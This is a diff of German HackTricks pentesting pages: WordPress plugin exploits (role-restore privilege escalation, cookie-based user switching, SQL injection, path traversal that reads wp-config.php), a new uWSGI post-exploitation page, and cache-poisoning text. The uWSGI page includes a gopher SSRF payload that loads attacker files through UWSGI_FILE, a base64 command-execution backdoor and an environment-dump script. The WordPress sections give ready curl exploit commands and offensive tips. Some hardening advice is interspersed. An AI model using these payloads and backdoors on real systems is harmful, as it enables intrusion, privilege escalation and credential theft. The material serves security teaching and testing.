+Viele Plugins implementieren eine "view as role" oder temporäre Rollentausch-Funktion, indem sie die ursprünglichen Rolle(n) in user meta speichern, damit sie später wiederhergestellt werden können. Wenn der Wiederherstellungsweg nur auf Request-Parametern (z. B. `$_REQUEST['reset-for']`) und einer plugin-gepflegten Liste beruht, ohne capabilities und einen gültigen Nonce zu prüfen, wird dies zu einer vertikalen Privilegieneskalation.
 
-Ein echtes Beispiel wurde im Admin and Site Enhancements (ASE) Plugin (≤ 7.6.2.1) gefunden. Der Reset-Zweig stellte Rollen basierend auf `reset-for=<username>` wieder her, wenn der Benutzername in einem internen Array `$options['viewing_admin_as_role_are']` auftauchte, führte jedoch weder eine `current_user_can()`-Prüfung noch eine Nonce-Verifizierung durch, bevor die aktuellen Rollen entfernt und die gespeicherten Rollen aus dem User-Meta `_asenha_view_admin_as_original_roles` wieder hinzugefügt wurden:
+Ein reales Beispiel wurde im Admin and Site Enhancements (ASE) Plugin (≤ 7.6.2.1) gefunden. Der Reset-Zweig stellte Rollen basierend auf `reset-for=<username>` wieder her, wenn der Benutzername in einem internen Array `$options['viewing_admin_as_role_are']` erschien, führte jedoch weder eine `current_user_can()`-Prüfung noch eine Nonce-Überprüfung durch, bevor die aktuellen Rollen entfernt und die aus user meta `_asenha_view_admin_as_original_roles` gespeicherten Rollen wieder hinzugefügt wurden:
 ```php
 // Simplified vulnerable pattern
 if ( isset( $_REQUEST['reset-for'] ) ) {
@@ -513,15 +515,15 @@ Warum es ausnutzbar ist
 
 - Vertraut `$_REQUEST['reset-for']` und einer Plugin-Option ohne serverseitige Autorisierung.
 - Wenn ein Benutzer zuvor höhere Privilegien in `_asenha_view_admin_as_original_roles` gespeichert hatte und herabgestuft wurde, kann er diese wiederherstellen, indem er den Reset-Pfad aufruft.
-- In einigen Deployments konnte jeder authentifizierte Benutzer einen Reset für einen anderen Benutzernamen auslösen, der noch in `viewing_admin_as_role_are` vorhanden ist (fehlerhafte Autorisierung).
+- In einigen Deployments konnte jeder authentifizierte Benutzer einen Reset für einen anderen Benutzernamen auslösen, der noch in `viewing_admin_as_role_are` vorhanden ist (fehlende Autorisierung).
 
 Voraussetzungen für den Angriff
 
 - Anfällige Plugin-Version mit aktivierter Funktion.
-- Das Zielkonto besitzt eine veraltete hochprivilegierte Rolle, die im user meta aus früherer Nutzung gespeichert ist.
-- Jede authentifizierte Sitzung; fehlender nonce/capability im Reset-Flow.
+- Das Zielkonto hat eine veraltete hochprivilegierte Rolle in user meta gespeichert, aus früherer Nutzung.
+- Beliebige authentifizierte Sitzung; fehlender nonce/capability im Reset-Flow.
 
-Ausnutzung (Beispiel)
+Exploitation (example)
 ```bash
 # While logged in as the downgraded user (or any auth user able to trigger the code path),
 # hit any route that executes the role-switcher logic and include the reset parameter.
@@ -529,34 +531,34 @@ Ausnutzung (Beispiel)
 curl -s -k -b 'wordpress_logged_in=...' \
 'https://victim.example/wp-admin/?reset-for=<your_username>'
 ```
-Auf verwundbaren Builds entfernt dies die aktuellen Rollen und stellt die gespeicherten Originalrollen (z. B. `administrator`) wieder her, wodurch effektiv eine Privilegieneskalation möglich wird.
+Auf verwundbaren Builds entfernt dies die aktuellen Rollen und fügt die gespeicherten ursprünglichen Rollen wieder hinzu (z. B. `administrator`), wodurch effektiv Privilegien eskaliert werden.
 
-Checkliste zur Erkennung
+Detection checklist
 
-- Achten Sie auf Funktionen zum Rollenwechsel, die Originalrollen im user meta persistieren (z. B. `_asenha_view_admin_as_original_roles`).
-- Identifizieren Sie Reset-/Wiederherstellungs-Pfade, die:
-- Lesen Sie Benutzernamen aus `$_REQUEST` / `$_GET` / `$_POST`.
-- Ändern Rollen über `add_role()` / `remove_role()` ohne Verwendung von `current_user_can()` und `wp_verify_nonce()` / `check_admin_referer()`.
-- Autorisieren basierend auf einem Plugin-Optionsarray (z. B. `viewing_admin_as_role_are`) anstelle der Fähigkeiten des Akteurs.
+- Suchen Sie nach Funktionen zum Rollenwechsel, die den Zustand "ursprüngliche Rollen" im user meta persistieren (z. B. `_asenha_view_admin_as_original_roles`).
+- Identifizieren Sie Reset-/Restore-Pfade, die:
+- Benutzernamen aus `$_REQUEST` / `$_GET` / `$_POST` lesen.
+- Rollen via `add_role()` / `remove_role()` ändern, ohne `current_user_can()` und `wp_verify_nonce()` / `check_admin_referer()` zu verwenden.
+- Autorisieren basierend auf einem Plugin-Options-Array (z. B. `viewing_admin_as_role_are`) anstelle der Fähigkeiten des Akteurs.
 
-Härtung
+Hardening
 
-- Setzen Sie Berechtigungsprüfungen in jedem zustandsändernden Zweig durch (z. B. `current_user_can('manage_options')` oder strenger).
-- Erfordern Sie Nonces für alle Rollen-/Berechtigungsänderungen und prüfen Sie diese: `check_admin_referer()` / `wp_verify_nonce()`.
-- Vertrauen Sie nie auf aus der Anfrage gelieferte Benutzernamen; bestimmen Sie den Zielbenutzer serverseitig basierend auf dem authentifizierten Akteur und einer expliziten Richtlinie.
-- Invalidieren Sie den Zustand der “Originalrollen” bei Profil-/Rollenaktualisierungen, um die Wiederherstellung veralteter Hochprivilegien zu vermeiden:
+- Führen Sie Berechtigungsprüfungen in jedem zustandsändernden Zweig durch (z. B. `current_user_can('manage_options')` oder strenger).
+- Fordern Sie Nonces für alle Rollen-/Berechtigungsänderungen an und verifizieren Sie diese: `check_admin_referer()` / `wp_verify_nonce()`.
+- Vertrauen Sie niemals auf vom Request gelieferte Benutzernamen; ermitteln Sie den Zielbenutzer serverseitig basierend auf dem authentifizierten Akteur und einer expliziten Richtlinie.
+- Ungültig machen des Zustands "ursprüngliche Rollen" bei Profil-/Rollen-Updates, um die Wiederherstellung veralteter hoher Privilegien zu vermeiden:
 ```php
 add_action( 'profile_update', function( $user_id ) {
 delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
 }, 10, 1 );
 ```
-- Ziehen Sie in Betracht, nur minimalen Zustand zu speichern und zeitlich begrenzte, capability-geschützte Tokens für temporäre Rollenwechsel zu verwenden.
+- Ziehe in Betracht, nur minimalen Zustand zu speichern und zeitlich begrenzte, capability-geschützte Tokens für temporäre Rollenwechsel zu verwenden.
 
 ---
 
-### Nicht authentifizierte Privilegieneskalation durch cookie-vertrauenswürdigen Benutzerwechsel im öffentlichen init (Service Finder “sf-booking”)
+### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
 
-Einige Plugins binden user-switching-Helpers an den öffentlichen `init`-Hook und leiten die Identität aus einem clientgesteuerten Cookie ab. Wenn der Code `wp_set_auth_cookie()` aufruft, ohne Authentifizierung, capability und ein gültiges nonce zu prüfen, kann jeder nicht authentifizierte Besucher einen Login als beliebige Benutzer-ID erzwingen.
+Einige Plugins hängen user-switching-Helfer an den öffentlichen `init`-Hook und leiten die Identität aus einem vom Client kontrollierten Cookie ab. Ruft der Code `wp_set_auth_cookie()` auf, ohne Authentifizierung, capability und ein gültiges nonce zu überprüfen, kann jeder nicht authentifizierte Besucher eine Anmeldung als beliebige Benutzer-ID erzwingen.
 
 Typisches verwundbares Muster (vereinfacht aus Service Finder Bookings ≤ 6.1):
 ```php
@@ -589,11 +591,11 @@ wp_die('No original user found to switch back to.');
 ```
 Warum es ausnutzbar ist
 
-- Öffentlicher `init` Hook macht den Handler für unauthenticated users erreichbar (kein `is_user_logged_in()` Guard).
-- Die Identität wird aus einem vom Client veränderbaren Cookie (`original_user_id`) abgeleitet.
-- Direkter Aufruf von `wp_set_auth_cookie($uid)` loggt den Anfragenden als diesen Benutzer ein, ohne capability/nonce checks.
+- Öffentlicher `init` Hook macht den Handler für nicht authentifizierte Benutzer erreichbar (keine `is_user_logged_in()`-Prüfung).
+- Die Identität wird aus einem vom Client modifizierbaren Cookie abgeleitet (`original_user_id`).
+- Direkter Aufruf von `wp_set_auth_cookie($uid)` loggt den Anfragenden als diesen Benutzer ein, ohne Capability- oder Nonce-Prüfungen.
 
-Ausnutzung (unauthenticated)
+Ausnutzung (ohne Authentifizierung)
 ```http
 GET /?switch_back=1 HTTP/1.1
 Host: victim.example
@@ -603,32 +605,32 @@ Connection: close
 ```
 ---
 
-### WAF considerations for WordPress/plugin CVEs
+### WAF-Überlegungen für WordPress/plugin CVEs
 
-Generische edge/server WAFs sind auf breite Muster abgestimmt (SQLi, XSS, LFI). Viele hochwirksame WordPress/plugin Schwachstellen sind anwendungsspezifische Logik-/Auth‑Bugs, die wie harmloser Traffic aussehen, sofern die Engine nicht WordPress‑Routen und Plugin‑Semantik versteht.
+Generische Edge-/Server-WAFs sind auf breite Muster (SQLi, XSS, LFI) abgestimmt. Viele hochwirksame WordPress/plugin-Schwachstellen sind anwendungsspezifische Logik-/Authentifizierungsfehler, die wie harmloser Traffic aussehen, sofern die Engine die WordPress-Routen und die Semantik des Plugins nicht kennt.
 
 Offensive Hinweise
 
-- Ziele plugin‑spezifische Endpunkte mit sauberen Payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
-- Teste zuerst nicht‑authentifizierte Pfade (AJAX `nopriv`, REST mit permissivem `permission_callback`, public shortcodes). Default‑Payloads funktionieren oft ohne Obfuskation.
-- Typische High‑Impact‑Fälle: Privilegieneskalation (fehlerhafte Zugriffskontrolle), arbitrary file upload/download, LFI, open redirect.
+- Plugin-spezifische Endpunkte mit sauberen payloads anvisieren: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
+- Zuerst nicht-authentifizierte Pfade testen (AJAX `nopriv`, REST mit permissiver `permission_callback`, public shortcodes). Default payloads funktionieren oft ohne Obfuskation.
+- Typische hochkritische Fälle: Privilegieneskalation (broken access control), arbitrary file upload/download, LFI, open redirect.
 
 Defensive Hinweise
 
-- Verlass dich nicht auf generische WAF‑Signaturen, um plugin CVEs zu schützen. Implementiere application‑layer, verwundbarkeitsspezifische virtuelle Patches oder update schnell.
-- Bevorzuge Positive‑Security‑Prüfungen im Code (capabilities, nonces, strikte Eingabevalidierung) statt negativer Regex‑Filter.
+- Verlasse dich nicht auf generische WAF-Signaturen zum Schutz vor plugin CVEs. Implementiere anwendungsschichtige, verwundbarkeitsspezifische virtuelle Patches oder aktualisiere schnell.
+- Bevorzuge Positive-Security-Prüfungen im Code (capabilities, nonces, strikte Eingabevalidierung) gegenüber negativen Regex-Filtern.
 
-## WordPress Protection
+## WordPress-Schutz
 
-### Regular Updates
+### Regelmäßige Updates
 
-Stelle sicher, dass WordPress, plugins und themes aktuell sind. Bestätige außerdem, dass automatisches Aktualisieren in wp-config.php aktiviert ist:
+Stelle sicher, dass WordPress, plugins und Themes auf dem neuesten Stand sind. Bestätige außerdem, dass automatisches Updating in wp-config.php aktiviert ist:
 ```bash
 define( 'WP_AUTO_UPDATE_CORE', true );
 add_filter( 'auto_update_plugin', '__return_true' );
 add_filter( 'auto_update_theme', '__return_true' );
 ```
-Installiere außerdem nur vertrauenswürdige WordPress-Plugins und -Themes.
+Außerdem: **Installieren Sie nur vertrauenswürdige WordPress-Plugins und -Themes**.
 
 ### Sicherheits-Plugins
 
@@ -638,13 +640,14 @@ Installiere außerdem nur vertrauenswürdige WordPress-Plugins und -Themes.
 
 ### **Weitere Empfehlungen**
 
-- Entferne den Standard-**admin**-Benutzer
-- Verwende **starke Passwörter** und **2FA**
-- Überprüfe regelmäßig die **Berechtigungen** der **Benutzer**
-- Begrenze **Login-Versuche**, um Brute-Force-Angriffe zu verhindern
-- Benenne die Datei **`wp-admin.php`** um und erlaube den Zugriff nur intern oder von bestimmten IP-Adressen.
+- Entfernen Sie den Standardbenutzer **admin**
+- Verwenden Sie **starke Passwörter** und **2FA**
+- Überprüfen Sie periodisch die **Berechtigungen** der Benutzer
+- Begrenzen Sie Login-Versuche, um Brute Force attacks zu verhindern
+- Benennen Sie die Datei **`wp-admin.php`** um und erlauben Sie den Zugriff nur intern oder von bestimmten IP-Adressen.
 
-### Unauthentifizierte SQL Injection durch unzureichende Validierung (WP Job Portal <= 2.3.2)
+
+### Nicht authentifizierte SQL Injection durch unzureichende Validierung (WP Job Portal <= 2.3.2)
 
 Das WP Job Portal recruitment plugin stellte eine **savecategory**-Aufgabe bereit, die letztendlich den folgenden verwundbaren Code in `modules/category/model.php::validateFormData()` ausführt:
 ```php
@@ -656,19 +659,19 @@ $inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
 $query  = "SELECT max(ordering)+1 AS maxordering FROM "
 . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
 ```
-Probleme, die durch diesen Ausschnitt entstehen:
+Issues introduced by this snippet:
 
-1. **Nicht bereinigte Benutzereingaben** – `parentid` stammt direkt aus der HTTP-Anfrage.
-2. **String-Konkatenation in der WHERE-Klausel** – keine `is_numeric()` / `esc_sql()` / prepared statement.
-3. **Erreichbarkeit ohne Authentifizierung** – obwohl die Aktion über `admin-post.php` ausgeführt wird, ist die einzige vorhandene Überprüfung ein **CSRF nonce** (`wp_verify_nonce()`), die jeder Besucher von einer öffentlichen Seite, die den Shortcode `[wpjobportal_my_resumes]` einbettet, abrufen kann.
+1. **Unbereinigte Benutzereingabe** – `parentid` stammt direkt aus der HTTP-Anfrage.
+2. **String-Konkatenation innerhalb der WHERE-Klausel** – keine `is_numeric()` / `esc_sql()` / prepared statement.
+3. **Unauthentifizierte Zugänglichkeit** – obwohl die Aktion über `admin-post.php` ausgeführt wird, ist die einzige vorhandene Prüfung ein **CSRF nonce** (`wp_verify_nonce()`), den jeder Besucher von einer öffentlichen Seite mit dem Shortcode `[wpjobportal_my_resumes]` abrufen kann.
 
 #### Ausnutzung
 
-1. Eine frische Nonce holen:
+1. Einen frischen Nonce abrufen:
 ```bash
 curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
 ```
-2. Beliebiges SQL durch Missbrauch von `parentid` injizieren:
+2. Beliebiges SQL injizieren, indem `parentid` missbraucht wird:
 ```bash
 curl -X POST https://victim.com/wp-admin/admin-post.php \
 -d 'task=savecategory' \
@@ -676,20 +679,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
 -d 'parentid=0 OR 1=1-- -' \
 -d 'cat_title=pwn' -d 'id='
 ```
-Die Antwort gibt das Ergebnis der injizierten Abfrage preis oder verändert die Datenbank, was SQLi beweist.
+Die Antwort gibt das Ergebnis der injizierten Abfrage preis oder verändert die Datenbank und bestätigt damit SQLi.
 
 
 ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
 
-Eine weitere Aufgabe, **downloadcustomfile**, erlaubte Besuchern, **jede Datei auf der Festplatte** via path traversal herunterzuladen. Die verwundbare Stelle befindet sich in `modules/customfield/model.php::downloadCustomUploadedFile()`:
+Eine andere Aufgabe, **downloadcustomfile**, erlaubte Besuchern, **beliebige Datei auf dem Dateisystem** mittels path traversal herunterzuladen. Der verwundbare Sink befindet sich in `modules/customfield/model.php::downloadCustomUploadedFile()`:
 ```php
 $file = $path . '/' . $file_name;
 ...
 echo $wp_filesystem->get_contents($file); // raw file output
 ```
-`$file_name` wird vom Angreifer kontrolliert und **ohne Bereinigung** angehängt. Wieder ist die einzige Hürde ein **CSRF nonce**, das von der Lebenslauf-Seite abgerufen werden kann.
+`$file_name` ist vom Angreifer kontrolliert und wird **ohne Bereinigung** verkettet. Wieder ist das einzige Hindernis ein **CSRF nonce**, das von der resume-Seite abgerufen werden kann.
 
-#### Ausnutzung
+#### Exploitation
 ```bash
 curl -G https://victim.com/wp-admin/admin-post.php \
 --data-urlencode 'task=downloadcustomfile' \
@@ -698,7 +701,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
 --data-urlencode 'entity_id=1' \
 --data-urlencode 'file_name=../../../wp-config.php'
 ```
-Der Server antwortet mit dem Inhalt von `wp-config.php`, leaking DB credentials and auth keys.
+Der Server antwortet mit dem Inhalt von `wp-config.php`, leaking DB credentials und auth keys.
 
 ## Referenzen
 

src/network-services-pentesting/pentesting-web/wsgi.md

@@ -0,0 +1,169 @@
+# WSGI Post-Exploitation-Tricks
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## WSGI Overview
+
+Web Server Gateway Interface (WSGI) ist eine Spezifikation, die beschreibt, wie ein Webserver mit Webanwendungen kommuniziert und wie Webanwendungen hintereinander geschaltet werden können, um eine Anfrage zu verarbeiten. uWSGI ist einer der beliebtesten WSGI-Server und wird häufig zum Bereitstellen von Python-Webanwendungen verwendet.
+
+## uWSGI Magic Variables Exploitation
+
+uWSGI stellt spezielle "magic variables" zur Verfügung, mit denen das Serververhalten dynamisch konfiguriert werden kann. Diese Variablen können über HTTP-Header gesetzt werden und können zu schwerwiegenden Sicherheitslücken führen, wenn sie nicht ordnungsgemäß validiert werden.
+
+### Key Exploitable Variables
+
+#### `UWSGI_FILE` - Arbiträre Dateiausführung
+```
+uwsgi_param UWSGI_FILE /path/to/python/file.py;
+```
+Diese Variable ermöglicht das Laden und Ausführen beliebiger Python-Dateien als WSGI-Anwendungen. Wenn ein Angreifer diesen Parameter kontrollieren kann, kann er Remote Code Execution (RCE) erreichen.
+
+#### `UWSGI_SCRIPT` - Skript-Laden
+```
+uwsgi_param UWSGI_SCRIPT module.path:callable;
+uwsgi_param SCRIPT_NAME /endpoint;
+```
+Lädt ein angegebenes Script als neue Anwendung. In Kombination mit Datei-Upload- oder Schreibberechtigungen kann dies zu RCE führen.
+
+#### `UWSGI_MODULE` and `UWSGI_CALLABLE` - Dynamisches Laden von Modulen
+```
+uwsgi_param UWSGI_MODULE malicious.module;
+uwsgi_param UWSGI_CALLABLE evil_function;
+uwsgi_param SCRIPT_NAME /backdoor;
+```
+Diese Parameter erlauben das Laden beliebiger Python-Module und das Aufrufen bestimmter Funktionen in ihnen.
+
+#### `UWSGI_SETENV` - Manipulation von Umgebungsvariablen
+```
+uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
+```
+Kann verwendet werden, um Umgebungsvariablen zu ändern, was möglicherweise das Verhalten der Anwendung beeinflusst oder das Laden bösartiger Konfiguration ermöglicht.
+
+#### `UWSGI_PYHOME` - Manipulation der Python-Umgebung
+```
+uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
+```
+Ändert die Python virtual environment und kann potenziell bösartige Pakete oder andere Python-Interpreter laden.
+
+#### `UWSGI_CHDIR` - Directory Traversal
+```
+uwsgi_param UWSGI_CHDIR /etc/;
+```
+Ändert das Arbeitsverzeichnis, bevor Anfragen verarbeitet werden, was für path traversal attacks ausgenutzt werden kann.
+
+## SSRF + Gopher zu
+
+### Der Angriffsvektor
+
+Wenn uWSGI durch SSRF (Server-Side Request Forgery) erreichbar ist, können Angreifer mit dem internen uWSGI-Socket interagieren, um magic variables auszunutzen. Dies ist besonders gefährlich, wenn:
+
+1. Die Anwendung SSRF-Schwachstellen aufweist
+2. uWSGI auf einem internen Port/Socket läuft
+3. Die Anwendung magic variables nicht richtig validiert
+
+uWSGI ist aufgrund von SSRF zugänglich, weil die Konfigurationsdatei `uwsgi.ini` `socket = 127.0.0.1:5000` enthält, wodurch es von der Webanwendung über SSRF erreichbar ist.
+
+### Exploit-Beispiel
+
+#### Schritt 1: Erstelle bösartigen Payload
+Zuerst Python-Code in eine vom Server zugängliche Datei injizieren (Datei-Schreibvorgang auf dem Server, die Dateiendung ist egal):
+```python
+# Payload injected into a JSON profile file
+import os
+os.system("/readflag > /app/profiles/result.json")
+```
+#### Schritt 2: uWSGI-Protokoll-Anfrage erstellen
+Verwende das Gopher-Protokoll, um rohe uWSGI-Pakete zu senden:
+```
+gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
+```
+Dieses payload:
+- Verbindet sich mit uWSGI auf Port 5000
+- Setzt `UWSGI_FILE`, um auf die bösartige Datei zu verweisen
+- Zwingt uWSGI dazu, den Python-Code zu laden und auszuführen
+
+### uWSGI Protokollstruktur
+
+Das uWSGI-Protokoll verwendet ein binäres Format, wobei:
+- Variablen als längenpräfixierte Zeichenketten kodiert werden
+- Jede Variable hat: `[name_length][name][value_length][value]`
+- Das Paket beginnt mit einem Header, der die Gesamtgröße enthält
+
+## Post-Exploitation Techniques
+
+### 1. Persistent Backdoors
+
+#### File-based Backdoor
+```python
+# backdoor.py
+import subprocess
+import base64
+
+def application(environ, start_response):
+cmd = environ.get('HTTP_X_CMD', '')
+if cmd:
+result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
+response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
+else:
+response = "Backdoor active"
+
+start_response('200 OK', [('Content-Type', 'text/plain')])
+return [response.encode()]
+```
+Verwende dann `UWSGI_FILE`, um diesen backdoor zu laden:
+```
+uwsgi_param UWSGI_FILE /tmp/backdoor.py;
+uwsgi_param SCRIPT_NAME /admin;
+```
+#### Umgebungsbasierte Persistenz
+```
+uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
+```
+### 2. Informationslecks
+
+#### Auslesen von Umgebungsvariablen
+```python
+# env_dump.py
+import os
+import json
+
+def application(environ, start_response):
+env_data = {
+'os_environ': dict(os.environ),
+'wsgi_environ': dict(environ)
+}
+
+start_response('200 OK', [('Content-Type', 'application/json')])
+return [json.dumps(env_data, indent=2).encode()]
+```
+#### Zugriff auf das Dateisystem
+Verwende `UWSGI_CHDIR` in Kombination mit der Bereitstellung von Dateien, um auf sensible Dateien zuzugreifen:
+```
+uwsgi_param UWSGI_CHDIR /etc/;
+uwsgi_param UWSGI_FILE /app/file_server.py;
+```
+### 3. Privilege Escalation
+
+#### Socket Manipulation
+Wenn uWSGI mit erhöhten Rechten läuft, könnten Angreifer die Socket-Berechtigungen manipulieren:
+```
+uwsgi_param UWSGI_CHDIR /tmp;
+uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
+```
+#### Konfigurationsüberschreibung
+```python
+# malicious_config.py
+import os
+
+# Override uWSGI configuration
+os.environ['UWSGI_MASTER'] = '1'
+os.environ['UWSGI_PROCESSES'] = '1'
+os.environ['UWSGI_CHEAPER'] = '1'
+```
+## Referenzen
+
+- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
+- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata)
+- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
+
+{{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/cache-deception/README.md

@@ -6,26 +6,26 @@
 
 > **Was ist der Unterschied zwischen web cache poisoning und web cache deception?**
 >
-> - In **web cache poisoning** verursacht der Angreifer, dass die Anwendung schädlichen Inhalt im Cache speichert, und dieser Inhalt wird aus dem Cache an andere Anwender der Anwendung ausgeliefert.
-> - In **web cache deception** bewirkt der Angreifer, dass die Anwendung sensiblen Inhalt eines anderen Benutzers im Cache speichert, und der Angreifer ruft diesen Inhalt anschließend aus dem Cache ab.
+> - In **web cache poisoning** veranlasst der Angreifer, dass die Anwendung bösartigen Inhalt im Cache speichert, und dieser Inhalt wird aus dem Cache an andere Anwender der Anwendung ausgeliefert.
+> - In **web cache deception** veranlasst der Angreifer, dass die Anwendung sensible Inhalte eines anderen Benutzers im Cache speichert, und der Angreifer ruft diese Inhalte anschließend aus dem Cache ab.
 
 ## Cache Poisoning
 
-Cache poisoning zielt darauf ab, den clientseitigen Cache zu manipulieren, um Clients dazu zu bringen, Ressourcen zu laden, die unerwartet, unvollständig oder unter der Kontrolle eines Angreifers sind. Das Ausmaß der Auswirkungen hängt von der Beliebtheit der betroffenen Seite ab, da die vergiftete Antwort ausschließlich an Nutzer ausgeliefert wird, die die Seite während der Periode der Cache-Kontamination besuchen.
+Cache poisoning zielt darauf ab, den clientseitigen Cache zu manipulieren, um Clients dazu zu bringen, Ressourcen zu laden, die unerwartet, unvollständig oder unter der Kontrolle eines Angreifers stehen. Das Ausmaß der Auswirkungen hängt von der Popularität der betroffenen Seite ab, da die vergiftete Antwort ausschließlich an Benutzer ausgeliefert wird, die die Seite während der Phase der Cache-Kontamination besuchen.
 
-Die Durchführung eines cache poisoning-Angriffs umfasst mehrere Schritte:
+Die Durchführung eines Cache Poisoning-Angriffs umfasst mehrere Schritte:
 
-1. **Identifizierung von nicht als Cache-Schlüssel verwendeten Eingaben**: Dies sind Parameter, die zwar nicht erforderlich sind, damit eine Anfrage gecacht wird, aber die vom Server zurückgegebene Antwort verändern können. Diese Eingaben zu identifizieren ist entscheidend, da sie ausgenutzt werden können, um den Cache zu manipulieren.
-2. **Ausnutzung der nicht als Cache-Schlüssel verwendeten Eingaben**: Nachdem die nicht als Cache-Schlüssel verwendeten Eingaben identifiziert wurden, besteht der nächste Schritt darin herauszufinden, wie diese Parameter missbraucht werden können, um die Serverantwort so zu verändern, dass es dem Angreifer nützt.
-3. **Sicherstellen, dass die vergiftete Antwort gecacht wird**: Der letzte Schritt besteht darin sicherzustellen, dass die manipulierte Antwort im Cache gespeichert wird. Auf diese Weise erhält jeder Nutzer, der die betroffene Seite besucht, während der Cache vergiftet ist, die vergiftete Antwort.
+1. **Identification of Unkeyed Inputs**: Dabei handelt es sich um Parameter, die zwar nicht erforderlich sind, damit eine Anfrage gecached wird, aber die vom Server zurückgegebene Antwort verändern können. Das Identifizieren dieser Eingaben ist entscheidend, da sie ausgenutzt werden können, um den Cache zu manipulieren.
+2. **Exploitation of the Unkeyed Inputs**: Nachdem die unkeyed Inputs identifiziert wurden, besteht der nächste Schritt darin, herauszufinden, wie diese Parameter missbraucht werden können, um die Serverantwort zu verändern und dem Angreifer einen Vorteil zu verschaffen.
+3. **Ensuring the Poisoned Response is Cached**: Der letzte Schritt besteht darin sicherzustellen, dass die manipulierte Antwort im Cache gespeichert wird. Auf diese Weise erhält jeder Nutzer, der die betroffene Seite während der Cache-Vergiftungsphase aufruft, die verfälschte Antwort.
 
-### Erkennung: HTTP-Header prüfen
+### Discovery: Check HTTP headers
 
-Normalerweise, wenn eine Antwort **im Cache gespeichert** wurde, gibt es einen **Header, der dies anzeigt**. Welche Header du beachten solltest, kannst du in diesem Beitrag prüfen: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
+Normalerweise, wenn eine Antwort **im Cache gespeichert wurde**, gibt es einen **Header, der das anzeigt**. Welche Header du beachten solltest, kannst du in diesem Beitrag nachschlagen: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
 
-### Erkennung: Fehlercodes im Cache
+### Discovery: Caching error codes
 
-Wenn du vermutest, dass die Antwort im Cache gespeichert wird, kannst du versuchen, **Anfragen mit einem fehlerhaften Header zu senden**, auf die mit einem **Statuscode 400** geantwortet werden sollte. Versuche dann, die Anfrage normal aufzurufen, und wenn die **Antwort ein 400er-Statuscode** ist, weißt du, dass es verwundbar ist (und du könntest sogar einen DoS durchführen).
+Wenn du vermutest, dass eine Antwort in einem Cache gespeichert wird, könntest du versuchen, **Requests mit einem fehlerhaften Header zu senden**, auf die normalerweise mit einem **Statuscode 400** geantwortet werden sollte. Versuche dann, die Anfrage normal aufzurufen — wenn die **Antwort ein 400-Statuscode** ist, weißt du, dass es verwundbar ist (und du könntest sogar einen DoS durchführen).
 
 You can find more options in:
 
@@ -34,43 +34,43 @@ You can find more options in:
 cache-poisoning-to-dos.md
 {{#endref}}
 
-Beachte jedoch, dass **manche dieser Statuscodes nicht gecacht werden**, sodass dieser Test möglicherweise nicht zuverlässig ist.
+Beachte jedoch, dass **manchmal solche Statuscodes nicht gecached werden**, sodass dieser Test nicht zuverlässig sein kann.
 
-### Erkennung: Nicht als Cache-Schlüssel verwendete Eingaben identifizieren und bewerten
+### Discovery: Identify and evaluate unkeyed inputs
 
-Du kannst [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) verwenden, um **brute-force parameters and headers** durchzuführen, die möglicherweise **die Antwort der Seite verändern**. Zum Beispiel könnte eine Seite den Header `X-Forwarded-For` verwenden, um dem Client anzuzeigen, das Script von dort zu laden:
+Du kannst [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) verwenden, um **Parameter und Header per Brute-Force** zu testen, die ggf. **die Antwort der Seite verändern**. Zum Beispiel könnte eine Seite den Header `X-Forwarded-For` verwenden, um dem Client anzuzeigen, das Script von dort zu laden:
 ```html
 <script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
 ```
-### Schädliche Antwort vom Back-End-Server auslösen
+### Einen schädlichen Response vom Back-end-Server hervorrufen
 
-Mit dem identifizierten Parameter/Header prüfe, wie er **bereinigt** wird und **wo** er **reflektiert wird** oder die Antwort über den Header beeinflusst. Kannst du ihn trotzdem ausnutzen (XSS ausführen oder JS-Code laden, den du kontrollierst? DoS durchführen?...)
+Mit dem identifizierten Parameter/Header prüfe, wie er **bereinigt** wird und **wo** er im Response **reflektiert** wird oder den Response beeinflusst. Kannst du ihn trotzdem missbrauchen (eine XSS ausführen oder ein von dir kontrolliertes JS laden? einen DoS ausführen?...)
 
-### Die Antwort cachen
+### Den Response cachen
 
